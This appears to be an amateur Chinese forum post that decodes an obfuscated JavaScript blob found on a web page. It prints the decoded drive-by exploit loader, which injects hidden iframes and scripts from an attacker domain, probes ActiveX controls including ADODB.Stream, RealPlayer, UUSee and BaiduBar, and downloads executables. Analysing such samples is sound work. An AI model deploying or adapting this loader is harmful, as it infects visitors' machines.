43\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\134\170\66\146\134\170\66\62\134\170\66\141\134\170\66\65\134\170\66\63\134\170\67\64\42\51\51\73\15\12\101\143\164\151\166\145\120\145\162\154\75\42\134\170\62\144\134\170\63\61\134\170\64\63\134\170\63\65\134\170\63\71\134\170\62\144\134\170\63\64\134\170\64\62\134\170\64\62\134\170\64\62\134\170\62\144\134\170\63\70\134\170\64\65\134\170\63\70\42\73\15\12\147\145\164\123\160\162\141\171\123\154\151\144\145\75\42\134\170\63\61\134\170\62\144\134\170\63\66\134\170\64\65\134\170\63\70\134\170\63\63\134\170\64\66\134\170\63\70\134\170\63\62\134\170\64\63\134\170\63\70\134\170\63\61\134\170\63\63\134\170\64\62\42\73\15\12\150\145\154\154\157\167\157\162\154\144\62\101\144\144\162\145\163\163\75\42\134\170\66\63\134\170\66\143\134\170\67\63\134\170\66\71\134\170\66\64\134\170\63\141\134\170\63\62\134\170\64\63\134\170\64\61\134\170\64\63\134\170\64\64\134\170\63\67\134\170\64\62\134\170\64\62\42\73\15\12\163\164\157\162\155\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\134\170\66\63\134\170\66\143\134\170\66\61\134\170\67\63\134\170\67\63\134\170\66\71\134\170\66\64\42\54\150\145\154\154\157\167\157\162\154\144\62\101\144\144\162\145\163\163\53\101\143\164\151\166\145\120\145\162\154\53\147\145\164\123\160\162\141\171\123\154\151\144\145\51\15\12\163\164\157\162\155\133\42\134\170\65\65\134\170\67\60\134\170\66\64\134\170\66\61\134\170\67\64\134\170\66\65\42\135\50\42\134\134\120\162\157\147\162\141\155\40\106\151\154\145\163\134\134\103\157\155\155\157\156\40\106\151\154\145\163\134\134\165\165\163\145\145\134\134\42\40\54\165\162\154\53\42\134\170\65\65\134\170\65\65\134\170\62\145\134\170\66\71\134\170\66\145\134\170\66\71\42\54\42\42\54\61\51\175\175\15\12\164\162\171\173\166\141\162\40\150\73\15\12\166\141\162\40\147\154\167\157\162\154\144\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\134\170\64\67\134\170\64\143\134\170\64\71\134\170\64\65\134\170\64\64\134\170\66\146\134\170\67\67\134\170\66\145\134\170\62\145\134\170\64\71\134\170\64\65\134\170\64\64\134\170\66\146\134\170\67\67\134\170\66\145\134\170\62\145\134\170\63\61\42\51\73\175\15\12\143\141\164\143\150\50\150\51\173\175\73\15\12\146\151\156\141\154\154\171\173\151\146\50\150\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\164\171\154\145\75\144\151\163\160\154\141\171\72\156\157\156\145\40\163\162\143\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\107\114\127\117\122\114\104\56\150\164\155\154\42\76\74\57\151\146\162\141\155\145\76\47\51\175\175\15\12\164\162\171\173\166\141\162\40\151\73\15\12\166\141\162\40\162\145\141\154\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\111\105\122\120\103\164\154\56\111\105\122\120\103\164\154\56\61\42\51\73\175\15\12\143\141\164\143\150\50\151\51\173\175\73\15\12\146\151\156\141\154\154\171\173\151\146\50\151\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\151\146\50\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\111\105\122\120\103\164\154\56\111\105\122\120\103\164\154\56\61\42\51\56\120\154\141\171\145\162\120\162\157\160\145\162\164\171\50\42\120\122\117\104\125\103\124\126\105\122\123\111\117\116\42\51\74\75\42\66\56\60\56\61\64\56\65\65\62\42\51\15\12\173\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\164\171\154\145\75\144\151\163\160\154\141\171\72\156\157\156\145\40\163\162\143\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\122\145\141\154\61\60\56\150\164\155\154\42\76\74\57\151\146\162\141\155\145\76\47\51\175\15\12\145\154\163\145\173\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\164\171\154\145\75\144\151\163\160\154\141\171\72\156\157\156\145\40\163\162\143\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\122\145\141\154\56\150\164\155\154\42\76\74\57\151\146\162\141\155\145\76\47\51\175\175\175\15\12\164\162\171\173\166\141\162\40\152\73\15\12\166\141\162\40\102\141\151\144\165\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\102\141\151\144\165\102\141\162\56\124\157\157\154\42\51\73\175\15\12\143\141\164\143\150\50\152\51\173\175\73\15\12\146\151\156\141\154\154\171\173\151\146\50\152\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\102\141\151\144\165\133\42\134\170\64\64\134\170\66\143\134\170\66\146\134\170\66\61\134\170\66\64\134\170\64\64\134\170\65\63\42\135\50\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\102\141\151\144\165\56\143\141\142\42\54\40\42\102\141\151\144\165\56\145\170\145\42\54\40\60\51\175\175\15\12\151\146\50\146\75\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\40\46\46\40\147\75\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\40\46\46\40\150\75\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\40\46\46\40\151\75\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\15\12\173\15\12\164\162\171\173\151\146\50\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\104\120\103\154\151\145\156\164\56\126\157\144\42\51\51\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\167\151\144\164\150\75\61\60\60\40\150\145\151\147\150\164\75\60\40\163\162\143\75\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\124\150\165\156\144\145\162\56\150\164\155\154\76\74\57\151\146\162\141\155\145\76\47\51\175\143\141\164\143\150\50\145\51\173\175\15\12\175\175\175")
</SCRIPT>
这个是什么困扰了我很久
ICEBOY告诉我是Unescape
所以就用百度搜了段vb Unescape
自己动手还是好啊
呵呵
解开后:
第一段:
function init(){window.status="";}window.onload = init;
if(document.cookie.indexOf("play=")==-1)
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="play=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write("<iFrame src=hxxp://user1.pang777.cn/ilink.html width=100 height=0></iframe>");
}
else{document.write("<iframe src=hxxp://user1.pang777.cn/flink.html width=100 height=0></iframe>");}
}
第二段:
try{var e;
var ado=(document.createElement("object"));
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
if(e!="[object Error]"){
document.write("<script src=hxxp:\/\/user1.pang777.cn\/ms06014.js><\/script>")}
else{
try{var f;
var Flashver = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9");}
catch(f){};
finally{if(f!="[object Error]"){
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="hxxp://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">');
document.write('<param name="allowScriptAccess" value="sameDomain">');
document.write('<param name="movie" value="hxxp://user1.pang777.cn/ie.swf">');
document.write('<param name="quality" value="high">');
document.write('<param name="bgcolor" value="#ffffff">');
document.write('<embed src="hxxp://user1.pang777.cn/ie.swf">');
document.write('</object>');
}else{document.write("<EMBED src=hxxp://user1.pang777.cn/ff.swf width=0 height=0>")}}}
try{var g;
var storm=new ActiveXObject("\x55\x55\x55\x50\x47\x52\x41\x44\x45\x2e\x55\x55\x55\x70\x67\x72\x61\x64\x65\x43\x74\x72\x6c\x2e\x31");}
catch(g){};
finally{if(g!="[object Error]"){
var url="hxxp://user1.pang777.cn/";
storm=(document.createElement("\x6f\x62\x6a\x65\x63\x74"));
ActivePerl="\x2d\x31\x43\x35\x39\x2d\x34\x42\x42\x42\x2d\x38\x45\x38";
getSpraySlide="\x31\x2d\x36\x45\x38\x33\x46\x38\x32\x43\x38\x31\x33\x42";
helloworld2Address="\x63\x6c\x73\x69\x64\x3a\x32\x43\x41\x43\x44\x37\x42\x42";
storm.setAttribute("\x63\x6c\x61\x73\x73\x69\x64",helloworld2Address+ActivePerl+getSpraySlide)
storm["\x55\x70\x64\x61\x74\x65"]("\\Program Files\\Common Files\\uusee\\" ,url+"\x55\x55\x2e\x69\x6e\x69","",1)}}
try{var h;
var glworld=new ActiveXObject("\x47\x4c\x49\x45\x44\x6f\x77\x6e\x2e\x49\x45\x44\x6f\x77\x6e\x2e\x31");}
catch(h){};
finally{if(h!="[object Error]"){
document.write('<iframe style=display:none src="hxxp://user1.pang777.cn/GLWORLD.html"></iframe>')}}
try{var i;
var real=new ActiveXObject("IERPCtl.IERPCtl.1");}
catch(i){};
finally{if(i!="[object Error]"){
if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
{document.write('<iframe style=display:none src="hxxp://user1.pang777.cn/Real10.html"></iframe>')}
else{document.write('<iframe style=display:none src="hxxp://user1.pang777.cn/Real.html"></iframe>')}}}
try{var j;
var Baidu=new ActiveXObject("BaiduBar.Tool");}
catch(j){};
finally{if(j!="[object Error]"){
Baidu["\x44\x6c\x6f\x61\x64\x44\x53"]("hxxp://user1.pang777.cn/Baidu.cab", "Baidu.exe", 0)}}
if(f=="[object Error]" && g=="[object Error]" && h=="[object Error]" && i=="[object Error]")
{
try{if(new ActiveXObject("DPClient.Vod"))document.write('<iframe width=100 height=0 src=hxxp://user1.pang777.cn/Thunder.html></iframe>')}catch(e){}
}}}
真是找了一切可以利用的漏洞啊,好像提到了 UUSEE , BaiduTool ,Real10 , 漏洞编号为ms06014 的Flash漏洞
总之很复杂,绕了很大的圈子
我就研究到这吧
接下来大家继续
高手继续吧
